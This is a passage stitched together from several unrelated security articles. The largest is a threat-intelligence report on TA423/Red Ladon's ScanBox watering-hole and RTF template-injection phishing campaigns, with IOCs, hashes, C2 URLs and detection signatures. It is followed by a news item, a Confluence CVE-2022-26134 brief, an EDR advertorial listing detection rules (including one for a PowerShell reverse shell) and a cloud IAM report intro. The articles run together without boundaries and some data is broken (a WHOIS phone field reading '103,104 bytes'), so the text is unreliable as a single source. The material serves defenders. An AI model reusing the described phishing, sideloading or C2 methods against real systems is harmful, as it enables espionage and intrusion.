ScanBox implements NAT traversal using STUN servers as part of Interactive Connectivity Establishment (ICE), a peer-to-peer communication method used for clients to communicate as directly as possible, avoiding having to communicate through NATs, firewalls, or other solutions.
This means that the ScanBox module can set up ICE communications to STUN servers, and communicate with victim machines even if they are behind NAT.
Security check plugin: The final plugin that this ScanBox instance delivers to targets checks whether Kaspersky Internet Security (KIS) is installed on the victim machine.
This is achieved by calling the JavaScript method Element.getElementsByTagName().
The method checks any HTML Element in the victim’s browser for the value kaspersky-labs.com or klTabId_kis, which signals whether code has been injected into the user's browser by Kaspersky Internet Security.
Infrastructure
The ScanBox C2 domain image[.]australianmorningnews[.
]com has resolved to three IP addresses:
IP address
First seen
Last seen
198.13.45[.
]227
2022-06-06
2022-07-08
139.180.161[.
]195
2022-04-26
2022-06-05
45.77.237[.
]243
2022-04-25
2022-04-25
australianmorningnews[.
]com was first registered on 8th April 2022 with the following unique WHOIS information, which has not been used to register any other domain:
Email
suzannehhu316@outlook.com
Name
Florence Gourley
City
Logandale
Phone
103,104 bytes
This domain first started resolving on 8th April 2022 to 104.168.140[.
]23, a probable dedicated server which also hosts an FTPd server, a Dovecot mail delivery agent, an Exim mail server, and a MariaDB database.
Correlating ScanBox Campaigns to Earlier TA423 RTF Template Injection Campaigns
Beginning in March 2021, Proofpoint began to observe a consistent pattern of targeting against entities based in Malaysia and Australia, as well as against entities that are involved in the operations and supply chain of offshore energy projects in the South China Sea.
From June 2021 through May 2022, Proofpoint observed an ongoing phishing campaign which involved malicious RTF attachments weaponized through template injection.
Additionally, this campaign made use of malicious URLs which delivered RTF template injection files.
Both initial infection vectors delivered first-stage downloader malware to targets.
The downloaders retrieved XOR-encoded versions of Meterpreter shellcode.
Throughout this campaign, Australian targets regularly included military academic institutions, as well as local and federal government, defense, and public health sectors.
Malaysian targets included offshore drilling and deep-water energy exploration entities as well as global marketing and financial companies.
Several global companies were also targeted that appear to relate to the global supply chains of offshore energy projects in the South China Sea.
These included:
heavy industry and manufacturers responsible for the maintenance of offshore wind farms;
manufacturers of installation components used in offshore wind farms;
exporters of energy from prominent energy exploration sites in the South China Sea;
large consulting firms providing expertise at projects in the South China Sea; and,
global construction companies responsible for the installation of Offshore energy projects in the South China Sea.
targeted countries
Figure 9.
A Visualization of Targeted Countries
Proofpoint assesses with moderate confidence that the campaigns were conducted by the China-based, espionage-motivated threat actor TA423, which PwC tracks as Red Ladon and which also overlaps with “Leviathan,” “GADOLINIUM,” and “APT40.”
This threat actor has demonstrated a consistent focus on entities involved with energy exploration in the South China Sea, in tandem with domestic Australian targets including defense and health care.
Both the CopyPaste attacks targeting the Australian government in 2021, attributed publicly to TA423 / Red Ladon, and the threat actor’s historic focus on the South China Sea, align with the observed victimology of the long running campaign described in this blog.
More distinctly, this threat actor has repeatedly targeted both Australian governmental and energy-related target sets within a single campaign over multiple years.
Finally, this threat actor has been observed using both ScanBox in a watering hole capacity as well as Meterpreter in intrusions within the geographic areas that this observed threat actor is currently operating.
The technical evolution of the observed campaigns can be divided into three phases.
TA423 Campaign
Figure 10.
A timeline of detected phishing activity involved in ongoing TA423 Campaign May 2021 – June 2022
Phase 1: March 2021 – September 2021: The first phase of this campaign consisted of phishing targeting users in Australia and Malaysia.
The emails delivered Zip Archive attachments containing RTF template injection files as well as in some cases simply RTF attachments (not contained in Zip archives).
These files would retrieve either further Zip archives, or macro-laden Word documents using RTF template injection which serve as a next stage downloader.
Regardless of the nature of the downloader, the following stage payload would consist of a legitimate PE and a malicious DLL stager.
This DLL stager is executed using DLL sideloading and communicates with a threat actor-controlled server to retrieve a response encoded with a single-byte XOR.
The decoded response is Meterpreter shellcode which is executed on the victim’s machine.
Similarly to ScanBox activity in April 2022 to June 2022, several of the domains utilized to deliver malware payloads and to communicate with threat actor C2 servers were themed around Australian news media.
Most notably, the domains impersonated “The Australian” and “Herald Sun.”
Examples of malicious URLs originating from RTF Template Injection phishing attachments from this phase of the campaign include:
hxxps://theaustralian[.
]in/europa.eeas (RTF Template URL Retrieving Macro Document)
hxxps://theaustralian[.
]in/office (Macro Initiated Request Retrieving Legitimate PE)
hxxps://theaustralian[.
]in/word (Macro Initiated Request Retrieving DLL Loader/Stager)
heraldsun[.
]me (Meterpreter C2)
Phase 2: March 2022: The second observed phase of this campaign occurred in March 2022, and consisted of phishing campaigns which used RTF template injection attachments leveraging template URLs that were customized for each target.
Despite returning the same payload to all victims, these URLs were distinct, with each including a victim ID number that correlated to the intended victims, allowing the threat actor to track active infections based on the initial URL beacons to the staging server.
The RTF template injection URL returned a macro-laden Microsoft Word document.
The macro contains a series of hardcoded hex bytes stored as strings.
These strings are reassembled by the macro and converted into two files, a PE and a DLL, which are saved to the victim host and executed.
The macro also makes a URL request seemingly to return an “UpdateConfig” value which may be used by the final installed payload.
At the time of discovery, Proofpoint could not successfully retrieve the payload.
However, Proofpoint analysts have previously observed the weaponised RTF files ultimately delivering a DLL downloader which retrieves an XOR encoded Meterpreter payload response.
Notably, the recurring use of custom URLs that are unique to each victim, likely for infection tracking purposes, is a commonality to the ScanBox phishing URLs observed later in April 2022.
Phase 3: April 2022 – June 2022: The current phase of this ongoing campaign consisted of malicious Australian media-themed URLs delivered in phishing emails characterized above.
These URLs utilized victim-specific URLs in some instances, and redirected users to a website posing like that of an Australian media themed site.
While this version of ScanBox has been customized to download subsequent modules, it is unencoded and heavily resembles earlier versions of standard ScanBox code base.
A Case Study in Victimology: Targeting of the Kasawari Gas Field and Entities Involved with its Supply Chain
On 2 June 2021 numerous emails were sent from a Gmail email address to several companies involved with deep water drilling, oil and petroleum exploration, and Australian Naval Defense.
The emails used “COVID19 passport services in Australia” themes to deliver the aforementioned ZIP and RTF attachments that utilize RTF template injection to download a DLL stager and downloader payload leading to a Meterpreter payload.
COVID-19Figure 11.
RTF Template Injection Attachment titled “COVID-19 and passport services Australia.”
This campaign focused heavily on Malaysia, and specifically on companies that appear to be involved in either the engineering, extraction of natural gasses, or export of natural gas products from the Kasawari Gas Project off the coast of Malaysia.
Specifically, four of the eight entities targeted by this campaign were associated directly with this project.
Additional targets observed in this campaign were involved in Australian Defense universities, consumer healthcare in Australia, and large financial banking entities in Malaysia.
A similar array of targeting across Australian domestic entities and organisations operating in the South China Sea was later observed in the May 2022 ScanBox campaign that was described in the Phase 3 phishing activity section of this publication.
In close temporal proximity to the cyber espionage campaigns targeting these entities, the Asia Maritime Transparency Initiative reported disruption at the project site stemming from Chinese Coast Guard Intervention.
Proofpoint assesses with moderate confidence that this activity may be attributable to the threat actor TA423 / Red Ladon, which multiple reports assess to operate out of Hainan Island, China.
A 2021 indictment by the US Department of Justice assessed that TA423 / Red Ladon provides long-running support to the Hainan Province Ministry of State Security (MSS).
One of TA423’s longest running areas of responsibility is assessed to include the South China Sea, with the US Department of Justice indictment indicating that the threat actor has historically focused on intellectual property related to naval technology developed by federally-funded defense contractors globally.
This indictment also explicitly included the mention of the existence of the Yulin Naval Base which has been stated to be located on Hainan Island.
While a direct correlation cannot be drawn between the cyber espionage campaign targeting entities involved with the site and portions of its supply chain in the days directly preceding kinetic naval intervention, the historic targeting focus of TA423 / Red Ladon and the subsequent naval intervention may suggest that this project in the South China Sea was highly likely an area of priority interest for the threat actor.
A Case Study Extended: TA423 Targets the Supply Chain of the Yunlin Offshore Windfarm in the Strait of Taiwan
On 24th, 28th, and 29th March 2022, Proofpoint observed phishing activity leveraging RTF template injection that targeted a European manufacturer of heavy equipment utilized in the installation of an offshore windfarm in the Strait of Taiwan.
Specifically, the manufacturer targeted was a key supplier of equipment for entities involved in the construction of the Yunlin Offshore Windfarm.
This is a project which begun in 2020 and was projected to be completed in 2022.
However, the project began to encounter construction delays which resulted in several major contractors terminating contracts and leaving the project unfinished between November 2021 and February 2022.
This offshore energy project resumed in late April 2022.
The dates of the observed phishing activity align with the period between 2nd February 2022 and 28th April 2022 where the project’s future was uncertain.
The targeting of supply chain entities by TA423 during this period of project uncertainty is notable, since the group has previously targeted projects in the South China Sea during key moments in their development timeline.
WINDFARMS MAP
Figure 12.
Map of Projected Offshore Windfarms in the Strait of Taiwan Circa 2018
Conclusion
This blog examined several phases of a sustained phishing campaign, running for over a year and currently ongoing, that Proofpoint and PwC threat intelligence analysts attribute to the China-based, espionage motivated threat actor TA423 / Red Ladon.
The campaign has an international reach, but a heavy focus on the Asia Pacific region, Australian governmental entities, and companies and countries operating in the South China Sea.
In particular, Proofpoint has observed TA423 / Red Ladon targeting entities directly involved with development projects in the South China Sea closely around the time of tensions between China and other countries related to development projects of high strategic importance, such as the Kasawari Gas field developed by Malaysia, and an offshore wind farm in the Strait of Taiwan.
From an operational perspective, other than its custom toolset and offensive security tools like Meterpreter, TA423 / Red Ladon has also returned to ScanBox.
The last time that TA423 / Red Ladon was publicly documented using ScanBox was in 2018.
While ScanBox activity has been reported more sporadically since its first appearance in 2014 and heavy use in 2015, it remains a tool available to, and shared among, China-based threat actors to selectively deploy in campaigns.
We have observed TA423 / Red Ladon using ScanBox, both in 2018 and 2022, in campaigns using an upcoming national election as a lure, wherein the threat actor built local news-themed malicious websites to draw targets to in order to infect them.
Following the US Department of Justice indictment and public disclosure in July 2021, Proofpoint analysts have not observed a distinct disruption of operational tempo specifically for phishing campaigns associated with TA423/Red Ladon.
While the indictment attributed this threat actor to a specific entity operating with support of a Chinese state intelligence agency, the technical details included did not cover the tactics currently in use by the group in the wild.
As a result, the group was free to continue its usage of novel phishing techniques like RTF Template Injection which began in early 2021 (before the indictment) and persisted through March 2022.
Overall, Proofpoint and PwC collectively expect TA423 / Red Ladon to continue pursuing its intelligence-gathering and espionage mission primarily targeting countries in the South China Sea, as well as further intrusions in Australia, Europe and the United States.
Indicators of Compromise (IOCs)
Phase 3 IOCs (April to June 2022)
Type of IOC
visitable.daishaju@gmail[.
]com
Phishing Email Sender Address
goodlandteactuator@gmail[.
]com
Phishing Email Sender Address
claire3bluntxq@gmail[.
]com
Phishing Email Sender Address
ascents.nestora2@gmail[.
]com
Phishing Email Sender Address
walknermohammad26@gmail[.
]com
Phishing Email Sender Address
entertainingemiliano20@gmail[.
]com
Phishing Email Sender Address
entertainingemiliano20@gmail[.
]com
Phishing Email Sender Address
osinskigeovannyxw@gmail[.
]com
Phishing Email Sender Address
brittanisoq@outlook[.
]com
Phishing Email Sender Address
charmainejuxtzk@outlook[.
]com
Phishing Email Sender Address
gradyt18iheme@outlook[.
]com
Phishing Email Sender Address
dagny382cber@outlook[.
]com
Phishing Email Sender Address
marikok2bedax@outlook[.
]com
Phishing Email Sender Address
pearlykeap3l@outlook[.
]com
Phishing Email Sender Address
mattbotossd@outlook[.
]com
Phishing Email Sender Address
thuang6102@gmail[.
]com
Phishing Email Sender Address
earlt1948@gmail[.
]com
Phishing Email Sender Address
amianggitaphill@yahoo[.
]com
Phishing Email Sender Address
zoezlb@gmail[.
]com
Phishing Email Sender Address
Daisha Manalo <visitable.daishaju@gmail[.
]com>
Phishing Email Header From
Blair Goodland <goodlandteactuator@gmail[.
]com>
Phishing Email Header From
Claire Blunt <claire3bluntxq@gmail[.
]com>
Phishing Email Header From
Nestor Pyles <ascents.nestora2@gmail[.
]com>
Phishing Email Header From
Mohammad Walkner <walknermohammad26@gmail[.
]com>
Phishing Email Header From
Emiliano Regulus <entertainingemiliano20@gmail[.
]com>
Phishing Email Header From
Emiliano Regulus <entertainingemiliano20@gmail[.
]com>
Phishing Email Header From
Geovanny Osinski <osinskigeovannyxw@gmail[.
]com>
Phishing Email Header From
Brittani Silvestre <brittanisoq@outlook[.
]com>
Phishing Email Header From
Charmaine Jubinville <charmainejuxtzk@outlook[.
]com>
Phishing Email Header From
Grady Iheme <gradyt18iheme@outlook[.
]com>
Phishing Email Header From
Dagny Berdecia <dagny382cber@outlook[.
]com>
Phishing Email Header From
Mariko Dax <marikok2bedax@outlook[.
]com>
Phishing Email Header From
Pearly Keasler <pearlykeap3l@outlook[.
]com>
Phishing Email Header From
Matt Botos <mattbotossd@outlook[.
]com>
Phishing Email Header From
ami phillips <amianggitaphill@yahoo[.
]com>
Phishing Email Header From
Tom Huang <thuang6102@gmail[.
]com>
Phishing Email Header From
Thomas Earl <earlt1948@gmail[.
]com>
Phishing Email Header From
zoe browne <zoezlb@gmail[.
]com>
Phishing Email Header From
hxxp://australianmorningnews[.
]com/?p=23
Phishing URL
hxxp://australianmorningnews[.
]com/?p=30
Phishing URL
hxxp://australianmorningnews[.
]com/?p=58
Phishing URL
hxxp://australianmorningnews[.
]com/?p=55
Phishing URL
hxxp://australianmorningnews[.
]com/?p=30
Phishing URL
hxxp://australianmorningnews[.
]com/?p=23-<UserID>
Phishing URL
hxxp://asutralianmorningnews[.
]com/?p=19-<UserID> (Actor Typo)
Phishing URL
hxxp://australianmorningnews[.
]com/?p=23-<UserID>
Phishing URL
australianmorningnews[.
]com
Actor-controlled Domain
image[.]australianmorningnews[.
]com
Actor-controlled Domain
regionail[.
]xyz
Actor-controlled Domain
heraldsun[.
]me
Actor-controlled Domain
walmartsde[.
]com
Actor-controlled Domain
theaustralian[.
]in
Actor-controlled Domain
suzannehhu316[@]outlook[.
]com
Registrant Eamil
cwhe18nc
ScanBox main module filename
7795936ed1bdb7a5756c1ff821b2dc8739966abbb00e3e0ae114ee728bf1cf1a
SHA-256 ScanBox Sample
4dedb022d3c43db6cddd87f250db4758bd88c967f98302d97879d9fc4fadd8a2
SHA-256 ScanBox Sample
5a1c689cddb036ca589f6f2e53d323109b94ce062a09fb5b7c5a2efedd7306bc
SHA-256 ScanBox Sample
cb981d04f21a97fdb46b101a882a3490e245760489f4122deb4a0ac951a8eaee
SHA-256 ScanBox Sample
3d37a977f36e8448b087f8e114fe2a1db175372d4b84902887808a6fb0c8028f
SHA-256 ScanBox Sample
e8a919e0e02fecfe538a8698250ac3eaba969e2af2cc9d96fc86675a658e201e
SHA-256 ScanBox Sample
0b9447cb00ae657365eb2b771f4f2c505e44ca96a0a062d54f3b8544215fc082
SHA-256 ScanBox Sample
2f204f3b3abc97efc74b6fa016a874f9d4addb8ac70857267cc8e4feb9dbba26
SHA-256 ScanBox Sample
2a17927834995441c18d1b1b7ec9594eedfccaacca11e52401f83a82a982760e
SHA-256 ScanBox Sample
18db4296309da48665121899c62ed8fb10f4f8d22e44fd70d2f9ac8902896db1
SHA-256 ScanBox Sample
hxxp://image[.]australianmorningnews[.
]com/i/
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/?cwhe18nc
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/v.php?m=b
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/c.php?data=
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/k.php?data=
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/p.php?data=
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/v.php?m=a&data=
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/v.php?m=p&data=
ScanBox URL
hxxp://image[.]australianmorningnews[.
]com/i/v.php?m=plug
ScanBox URL
ares_ambassador away 25 sept until 25 october 2021.doc.rtf | F55c020d55d64d9188c916dcbece901bc6eb373ed572d349ff61758bd212857f
RTF Template Injection Attachment Filename | SHA-256
0325.rtf | 5681cf40c3f00c1a0dc89c05d983c0133cc6bf198bce59acfef788d25bcd9f69
RTF Template Injection Attachment Filename | SHA-256
0325.rtf | 22df809c1f47cb8d685f9055ad478991387016f03efd302fdde225215494eb83
RTF Template Injection Attachment Filename | SHA-256
20220324.rtf | b7e435ccded277740d643309898d344268010808e0582f34ae07e879ac32cf1e
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | 3909ae9b64b281cca55fc2cd6d92a11b882d1a58e4c34a59a997a7cb65aba8ef
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | 54ad4c1853179a59d5e9c48b1cfa880c91c5bf390fcfb94e700259b3f8998cb3
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | c4471540b811f091124c166ab51d6d03b6757f71e29c61a0e360e5c64957fcdd
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | 400be1d28d966ba8491f54237adad52ad4eea8a051f45f49774b92cbfdfcf1ea
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | 8033a52b327ad6635fc75f6c2c17b2cb4d56e1fd00081935541c0fb020e2582f
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | a115051a02e4faa8eb06d3870af44560274847c099d8e2feb2ef8db8885edf5e
RTF Template Injection Attachment Filename | SHA-256
online remote meeting invitation.rtf | 57c8123dd505dadb640872f83cf0475871993e99fdb40d8b821a9120e3479f53
RTF Template Injection Attachment Filename | SHA-256
139.59.60[.
]116:443   IP
C2 IP
172.105.114[.
]27:80   IP
C2 IP
Phase 1 & 2 IOCs
Type of IOC
hxxps://regionail[.
]xyz/
RTF Template Injection & Payload Delivery URL
hxxps://regionail[.
]xyz/austrade.au
RTF Template Injection & Payload Delivery URL
hxxps://magloball[.
]com/nDo3SB
RTF Template Injection & Payload Delivery URL
hxxps://theaustralian[.
]in/europa.eeas
RTF Template Injection & Payload Delivery URL
hxxps://theaustralian[.
]in/office
RTF Template Injection & Payload Delivery URL
hxxps://theaustralian[.
]in/word
RTF Template Injection & Payload Delivery URL
hxxp://172.105.114[.
]27/v<victim identifier>
RTF Template Injection & Payload Delivery URL
hxxp://walmartsde[.
]com/UpdateConfig
RTF Template Injection & Payload Delivery URL
austrade[1].zip | 981c762ce305cd5221e8757bafa50a00fff8fbc92db5612b311c458d48c29793
Payload Filename | SHA-256
GoogleDesktop.exe |6d2b301e77839fff1c74425b37d02c3f3837ce50e856c21ae4cf7ababb04addc
Payload Filename | SHA-256
Legitimate PE used in DLL Sideloading
regionail[.]xyz[.
]url | 13f593f217b4686d736bcfce3917964632e824cb0d054248b9ffcacc59b470d4
Payload Filename | SHA-256
GoogleServices.dll | c4f6fedb636f07e1e53eaef9f18334122cb9da4193c843b4d31311347290a78f
Payload Filename | SHA-256
passport form.zip | ab963bf7b1567190b8e5f48e7c88d53c02d7a3a57bd2294719595573a1f2b7c7
Payload Filename | SHA-256
passport form.doc.rtf | e3f1519db0039e7423f49d92d43d549b152b534856a7efde1a7eda7a9276bb22
Payload Filename | SHA-256
v9 | e1f34cb031bac517796c363c2b31366509bf1367599fd5583c6bc2b0314758bb
Payload Filename | SHA-256
MicrosoftEdgeSvc.exe | d357502511352995e9523c746131f8ed38457c38a77381c03dda1a1968abce42
Payload Filename | SHA-256
Legitimate PE used in DLL Sideloading
msedgeupdate.dll | 55a5871b36109a38eed8aef943ccddf1ae9945f27f21b1c62210a810bb0f7196
Payload Filename | SHA-256
DesProc.exe | 98fbd5eb6ae126fda8e36e3602e6793c1f719ef3fdbf792689035104b39f14ac
Payload Filename | SHA-256
Legitimate PE used in DLL Sideloading
Microsoft.
VisualStudio.
CodeMarkers.
Dll | 7e1ab1b08eb4b69df11955c3dfe3050be467a374adb704a917ee1a69abcc58a5
Payload Filename | SHA-256
ET Signatures
2811686 - ETPRO CURRENT_EVENTS SUSPICIOUS Encoded Plugin Detect (Previously observed inscanbox)
2021544 - ET CURRENT_EVENTS scanbox Jun 06 2015 M3 T1
2021543 - ET CURRENT_EVENTS scanbox Jun 06 2015 M2 T1
2021542 - ET CURRENT_EVENTS scanbox Jun 06 2015 M1 T1
2021229 - ET TROJAN scanbox Sending Host Data
2019096 - ET CURRENT_EVENTS scanbox Framework used in WateringHole Attacks KeepAlive
2019095 - ET CURRENT_EVENTS scanbox Framework used in WateringHole Attacks (POST) PluginData
2019094 - ET CURRENT_EVENTS scanbox Framework used in WateringHole Attacks Initial (POST)
2019093 - ET CURRENT_EVENTS scanbox Framework used in WateringHole Attacks
2851357 - ETPRO MALWARE TA423 Related Maldoc Activity (GET)
2851358 - ETPRO MALWARE TA423 Related Activity (GET)
2851658 - ETPRO MALWARE TA423 Related Activity M1 (GET)
2851659 - ETPRO MALWARE TA423 Related Activity M2 (GET)
2851660 - ETPRO MALWARE TA423 Related Activity M3 (GET)
2851661 - ETPRO MALWARE TA423 Related Activity M4 (GET)
2851662 - ETPRO MALWARE TA423 Related Activity M5 (GET)
2851663 - ETPRO MALWARE Suspected TA423 Related Activity (GET)
Pirate sites ban in Austria took down Cloudflare CDNs by mistake
Excessive and indiscriminate blocking is underway in Austria, with internet service providers (ISPs) complying to a court order to block pirate sites causing significant collateral damage.
The legal case was launched by the copyright organization “LSG – Wahrnehmung von Leistungsschutzrechten GesmbH”, which convinced an Austrian court to block 14 websites for copyright law violations.
The problem arising from this measure is that the bans also extended to specific IP addresses belonging to Cloudflare servers that support many other sites that do not violate copyright laws.
Examples of impacted websites include Magenta, Salzburg AG, the Preis Zone shop, yesss!, Raiffeisen Mobil, SOS Mitmensch, and Hutchison Drei Austria GmbH.
As Austrian DerStandard comments in a report on the matter, the root of the problem is that the copyright organization provided a list of IP addresses that ISPs banned without checking who used them.
As it turned out, the list also included a set of at least nine IP addresses that Cloudflare uses for its CDN to provide services (security, reliability, performance) to legitimate websites.
104.31.16.119
104.26.12.95
172.67.175.231
188.114.97.12
104.21.88.201
188.114.96.12
104.21.69.123
104.21.6.167
104.21.36.27
According to the same outlet, Cloudflare has confirmed the problem and has notified affected customers.
At the moment, the list of banned addresses has been revised and the IPs listed above are no longer part of it.
BleepingComputer has contacted both Cloudflare and the intellectual property protection firm for a comment on the matter, and we will update this story as soon as we receive a response.
Meanwhile, tech-savvy Austrian users have found that using VPN tools helps circumvent the blocks, but this solution isn’t suitable for all users, and in most cases it comes with a price tag.
Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
Executive Summary
On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian’s Confluence Server application.
After analysis of the compromise, Volexity determined the initial foothold was the result of a remote code execution vulnerability in Confluence Server and Data Center.
The details were reported to Atlassian on May 31, and Atlassian has since assigned the issue to CVE-2022-26134.
Based on the security advisory issued by Atlassian, it appears that the exploit is indeed an unauthenticated, remote code execution vulnerability.
If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.
At the time of publication, the Palo Alto Networks attack surface management solution Cortex Xpanse identified 19,707 instances of Confluence Servers that are potentially affected by this CVE.
A patch resolving the issue has been posted by Atlassian.
Palo Alto Networks strongly advises organizations to patch immediately.
Updated June 7 to add additional in-the-wild observations.
Vulnerable Systems
The Palo Alto Networks attack surface management solution Cortex Xpanse found 19,707 instances of Confluence Servers that are potentially affected by this CVE.
The majority of these instances were discovered to reside within the United States, Germany, China and Russia.
Additionally, the Xpanse research team also found 1,251 end-of-life versions of the Confluence Server exposed on the public internet.
Assets running end-of-life software should never be internet-facing.
If an asset cannot be updated to secure versions of software, it should be isolated or decommissioned altogether.
To learn more about the ubiquitous problem of end-of-life software, please refer to the 2022 Cortex Xpanse Attack Surface Threat Report.
CVE-2022-26134 in the Wild
Thus far, Unit 42 has noted historical scans being performed by the IP addresses publicly shared by Volexity.
These scans date back as early as May 26, 2022, and target organizations in various industries.
Additionally, a purported proof of concept (PoC) has reached the public domain, increasing the threat this particular vulnerability poses.
Cortex Managed Threat Hunting Detections of CVE-2022-26134
The Cortex Managed Threat Hunting team has detected several exploitation attempts.
Among the attempts, we found successful exploitation, which resulted in the Cerber Ransomware attack.
The ransomware was blocked by the Cortex XDR agent.
The Managed Threat Hunting team immediately reported this incident to the customer and continues to monitor our customers using the XQL queries in the following section.
Cortex XDR also includes multiple detections for post-exploitation activities.
Below are details of what was seen in the attempt.
In this case, the process tomcat.exe spawned multiple reconnaissance commands such as: whoami, systeminfo, arp, ipconfig, etc.
On top of that, a Base64-encoded PowerShell command was executed and retrieved a ransomware binary.
In order to confirm the assumption that the above activity is related to CVE-2022-26134, we looked into the Confluence Apache access logs (atlassian-confluence.log) and found the PowerShell execution.
Hunting Queries
The Cortex Managed Threat Hunting team continues to track any attempts to exploit CVE-2022-26134 across our customers, using Cortex XDR and the XQL queries below.
Conclusion
Palo Alto Networks provides protection against the exploitation of this vulnerability in the following ways:
Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92632 (Application and Threat content update 8577).
Cortex XDR for Linux helps block CVE-2022-26134 attacks out of the box.
Cortex XDR helps protect against post-exploitation activities on all OSes.
Prisma Cloud Web Application and API Security (WAAS) customers can use the OGNL Evaluation Injection custom rule in order to detect and block exploitation attempts.
Additionally, Xpanse has the ability to identify and detect Atlassian Confluence Servers that may be a part of your attack surface or the attack surface of third-party partners connected to your organization.
Xpanse is even able to classify those servers which have not been upgraded to the most recent version.
These abilities will be updated to detect additional instances or versions that are insecure against this CVE.
Existing Xpanse customers can log into Expander and identify their enumerated Atlassian Confluence devices by filtering by “Atlassian Confluence Server” in the Services tab.
As further information emerges or additional detections and protections are put into place, Palo Alto Networks will update this publication accordingly.
Indicators of Compromise
During the hunting process, we encountered exploitation attempts that originated from the following IP addresses:
IoC Type 	IoC
Ipv4 	172.104.31.117
Ipv4 	191.37.248.120
Ipv4 	84.17.48.94
Ipv4 	193.106.191.71
Ipv4 	54.88.149.100
Ipv4 	18.216.140.250
Ipv4 	18.221.234.103
Ipv4 	89.187.170.129
Ipv4 	2.56.11.65
Ipv4 	87.249.135.167
Ipv4 	192.99.152.200
Ipv4 	31.13.191.157
Ipv4 	27.1.1.34
Ipv4 	167.99.57.116
The continued threat of nation-state attacks: Australia under the gun
As Australian Prime Minister Scott Morrison sounded the alarm on nation-state attacks targeting critical infrastructure in the land Down Under, the Australian Cyber Security Centre released an advisory detailing tactics, techniques and procedures observed in the attacks.
An advisory from the Australian Cyber Security Centre (ACSC) warns that highly sophisticated attacks are currently underway against organizations in Australia.
Threat actors have successfully breached a number of networks and are using “living off the land” techniques to spy and exfiltrate data, while attempting to stay under the radar.
“Living off the land” is a strategy typical of advanced persistent threat (APT) groups; the strategy consists of using standard system utilities and legitimate third-party tools to conduct a cyberattack.
This helps to evade easy detection.
The threat actors also compromised legitimate Australian websites in order to use them as command and control (C&C) servers, thus better hiding their malicious communication.
Organizations are well advised to review the indicators of compromise (IOCs) released by the ACSC.
However, in order to gain comprehensive and immediate visibility into possibly compromised endpoints, no tool serves better than an endpoint detection and response (EDR) solution.
As Forrester’s February 2020 Now Tech: Enterprise Detection and Response, Q1 2020 report states, “A key benefit of EDR products is the ability to hunt for indications that an adversary has eluded your security controls and is lying in the weeds of your infrastructure.”
ESET Enterprise Inspector (EEI) is ESET’s EDR solution and is specifically designed to detect the tactics, techniques and procedures used in targeted attacks by APT groups.
Deploying EEI in your environment offers two key benefits:
1.
Immediate visibility into events happening on endpoints
Nothing makes an incident responder’s job easier than a tool that can easily integrate with other tools, provide rich context to events and filtering data down to the specific behaviors that give away the presence of a threat actor.
EEI provides context about the reputation and popularity of executables, as well as information on process trees, scripts, command line arguments, paths, signers and hashes.
In addition, EEI provides full transparency into its rule logic, allowing responders to understand why specific behaviors were detected.
Visibility is further enhanced by extensive searching and filtering capabilities that help to pinpoint and quickly expose the behavior of malicious actors.
2.
Suspicious activities automatically set off alarms
Backed by over 30 years of research into malicious behavior, ESET’s own malware research team has written over 300 custom rules that automatically detect specific behaviors commonly exhibited by APTs.
EEI’s engine evaluates endpoint events against the rules.
Offending processes, along with their process trees, are saved for further investigation by incident responders.
EEI is powerful enough, for example, to automatically sound the alarm on numerous techniques identified by the ACSC in their advisory:
APT Technique Identified by the ACSC	EEI Detection Rule
1	Legitimate, benign executable susceptible to DLL search order hijacking is run; legitimate executable’s process loads actor’s malicious DLL instead of the intended legitimate DLL	Trusted process loaded suspicious DLL [B0406a] OR
Reputable process loaded suspicious DLL [B0406b]
(rule triggered depends on details of abused executable)
2	The actor used a pre-compiled version of the JuicyPotato executable available from the JuicyPotato GitHub project	Endpoint detection +
Unpopular process has started from %Temp% [Z0402] OR
Other rules based on context of execution
3	Malicious actor used the native Windows tools at.exe and schtasks.exe to execute software on remote hosts	Unpopular process executed from a Scheduled Task [F0411] +
Network connection from a system utility program [A0510] +
Scheduling task on system start/login [B0101]
(triggering of rule will depend on details of actor’s behavior)
4	An IIS process (w3wp.exe) spawns PowerShell processes either directly or via cmd.exe	Generic IIS backdoor activity – child process [F0403]
5	A PowerShell reverse shell payload spawned from cmd.exe	PowerShell executed with long cmdline [D0415] +
Powershell.exe creates an internal network connection [A0502a] +
Other rules based on payload
Every minute in an incident investigation is precious.
Incident responders need powerful tools like EEI to complement their toolkit and empower them to easily and quickly reconstruct the adverse events happening on endpoints.
The faster threat actors are discovered, the sooner remediation steps can be taken to get back to normal business operations.
IAM Your Defense Against Cloud Threats: The Latest Unit 42 Cloud Threat Research
Introduction
The ongoing transition to cloud platforms has meant that more sensitive data is stored in the cloud, making it more tempting for adversaries to exploit.
When it comes to securing the cloud, identity is the first line of defense.
Without proper identity and access management (IAM) policies in place, an organization can pay for any number of security tools – but comprehensive security will never be possible.
To understand how IAM policies affect organizations’ cloud security posture, we analyzed 680,000+ identities across 18,000 cloud accounts from 200 different organizations to understand their configuration and usage patterns.
The results of our research were shocking.
Nearly all organizations we analyzed lack the proper IAM management policy controls to remain secure.
These misconfigured IAM policies open the door for what Unit 42 defines as a new type of threat: Cloud Threat Actors.
We define a cloud threat actor as “an individual or group posing a threat to organizations through directed and sustained access to cloud platform resources, services or embedded metadata.”
We believe cloud threat actors merit a separate definition because we observe that they have begun to employ a fundamentally different set of tactics, techniques and procedures (TTPs) that are unique to the cloud – such as taking advantage of the ability to perform both lateral movement and privilege escalation operations simultaneously.
